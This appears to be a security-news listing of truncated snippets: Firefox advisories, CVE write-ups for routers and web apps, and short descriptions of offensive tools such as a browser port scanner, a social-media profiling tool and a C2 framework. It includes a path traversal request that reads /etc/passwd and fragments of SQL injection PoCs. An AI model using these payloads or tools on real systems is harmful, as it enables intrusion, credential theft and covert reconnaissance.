firefox: thunderbird: Information disclosure in the Graphics: Text component

A flaw was found in Firefox and Thunderbird. The Mozilla Foundation's Security Advisory describes the following issue: Information disclosure in the Graphics: Text component...

firefox: thunderbird: Site isolation issue in the WebExtensions component

A flaw was found in Firefox and Thunderbird. The Mozilla Foundation's Security Advisory describes the following issue: Site isolation issue in the WebExtensions component...

CVE-2025-63820

CVE-2025-63820 Submitter: Nicola Giuffrida Information Vendor: TOTOLINK Vendor's website: TOTOLINK Model: A720R Firmware version: V4.1.5cu.630B20250509 Firmware download address: TOTOLINK Vulnerability details When logging into the control panel, the username and password are sent in plain-text:...

OpenSource-ERP-SQL-Injection

OpenSource-ERP-SQL-Injection OpenSource ERP application has SQL Injection vulnerability. CVE-2019-5893 https://vulners.com/cve/CVE-2019-5893 https://www.exploit-db.com/exploits/46118 PoC - Get DB name root@kitploit: POST /db/utils/query/data.xml HTTP/1.1 User-Agent: Mozilla/5.0 Windows NT 6.3;...

react-cve-2025-55182-lab

Setup: root@kitploit: git clone https://github.com/alexandre-briongos-wavestone/react-cve-2025-55182-lab root@kitploit: cd react-cve-2025-55182-lab root@kitploit: sudo docker build -t react-rsc-lab . root@kitploit: sudo docker run -p 3000:3000 react-rsc-lab Exploit: root@kitploit: curl --path-as-...

CVE-2021-27404

Inyección de Cabecera de Host Autenticada - Módem de Fibra Askey Internet Fabricante: Askey Versión de Software: BRSVg11.11RTFTEF001V6.54V014 Modelo: RTF8115VW Cabecera Vulnerable: Host No probado en otro modelo/versión. Impacto: Un atacante podría aprovechar esta vulnerabilidad para redirigir al...

netmap.js

netmap.js Fast browser-based network discovery module This project is no longer maintained. Description netmap.js provides browser-based host discovery and port scanning capabilities to allow you to map website visitors' networks. It's quite fast, making use of es6-promise-pool to efficiently run...

netmap.js

netmap.js Módulo rápido de descubrimiento de red basado en navegador Este proyecto ya no se mantiene. Descripción netmap.js proporciona capacidades de descubrimiento de hosts y escaneo de puertos basadas en navegador para permitirte mapear las redes de los visitantes de un sitio web. Es bastante...

CVE-2022-41040

CVE-2022-41040 Plantilla nuclei para CVE-2022-41040 ¡No verificado! Uso root@kitploit: git clone https://github.com/numanturle/CVE-2022-41040 cd CVE-2022-41040 nuclei -u https://target -t owa.yaml root@kitploit: GET...

cve-search

cve-search cve-search es una herramienta para importar CVE Common Vulnerabilities and Exposures y CPE Common Platform Enumeration en una MongoDB para facilitar la búsqueda y el procesamiento de CVEs. El objetivo principal del software es evitar realizar búsquedas directas y públicas en las bases ...

CVE-2017-11610

Supervisord Remote Command Execution Vulnerability Script CVE-2017-11610 Vulnerability Overview Supervisor is a process management tool written in Python, which can be used to start, restart auto-restart programs, and stop processes not just Python processes on UNIX-like systems Windows is not...

CVE-2023-49984

CVE-2023-49984 School Fees Management System v1.0 - Cross-Site Scripting XSS Vulnerability in "name" field/parameter on "/management/settings" Description : A cross-site scripting XSS vulnerability in the component "/management/settings" of School Fees Management System v1.0 allows attackers to...

CVE-2023-49547

CVE-2023-49547 Customer Support System 1.0 - SQL Injection Login Bypass Description : Customer Support System is vulnerable 1.0 to SQL Injection. A SQL injection vulnerability in Customer Support System 1.0 enables remote, unauthenticated attackers to bypass the authentication process by exploiti...

send

Send A fork of Mozilla's Firefox Send. Mozilla discontinued Send, this fork is a community effort to keep the project up-to-date and alive. Forked at Mozilla's last publicly hosted version Mozilla & Firefox branding is removed so you can legally self-host Kept compatible with ffsend CLI for Send...

mailinabox

Mail-in-a-Box By @JoshData and contributors. Mail-in-a-Box helps individuals take back control of their email by defining a one-click, easy-to-deploy SMTP+everything else server: a mail server in a box. Please seehttps://mailinabox.email for the project's website and setup guide! Our goals are to...

social_mapper

Social Mapper This tool is no longer actively maintained, parts of it may still work and I will accept pull requests to keep it up to date WARNING: FACEBOOK NOW DETECTS THIS AFTER A FEW 100 SEARCHES, USE ONLY DISPOSABLE FACEBOOK ACCOUNTS A Social Media Mapping Tool that correlates profiles via...

Zimbra

Active Exploitation of Zimbra CVE-2022-37042 RCE Unauthenticated The following research began by trying to understand the POCs from several GitHub repositories shared by many researchers and ended in an interesting surprise, which I will share in the following paragraphs. On August 10 of this yea...

CVE-2022-32988

CVE-2022-32988 Affected products We have not yet tested Asus models other than those listed. However we suspect it may also work on other models with the same firmware version. root@kitploit: DSL-N14UB1 V.1.1.2.3805 Overview In router Asus DSL-N14U-B1 1.1.2.3805 was discovered to contain a stored...

CVE-2024-4956-PoC

title="Nexus Repository Manager" GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 Windows NT 5.1; rv:21.0 Gecko/20100101 Firefox/21.0Connection: closeAccept: /Accept-Language: enAccept-Encoding: gzip...

GRAT2

GRAT2 C2 root@kitploit: c.-.c c.-.c c.-.c c.-.c c.-.c / .. \ / .. \ / .. \ / .. \ / .. \ \ Y / \ Y / \ Y / \ Y / \ Y / .-/'-'-..-/'-'-..-/'-'-..-/'-'-..-/'-'-. || G || || R || || A || || T || || 2 || .' -' '. .' -' '. .' -' '. .' -' '. .' -' '. .-./-'.-..-./-.-..-./-'.-..-./-'.-..-./-'.-...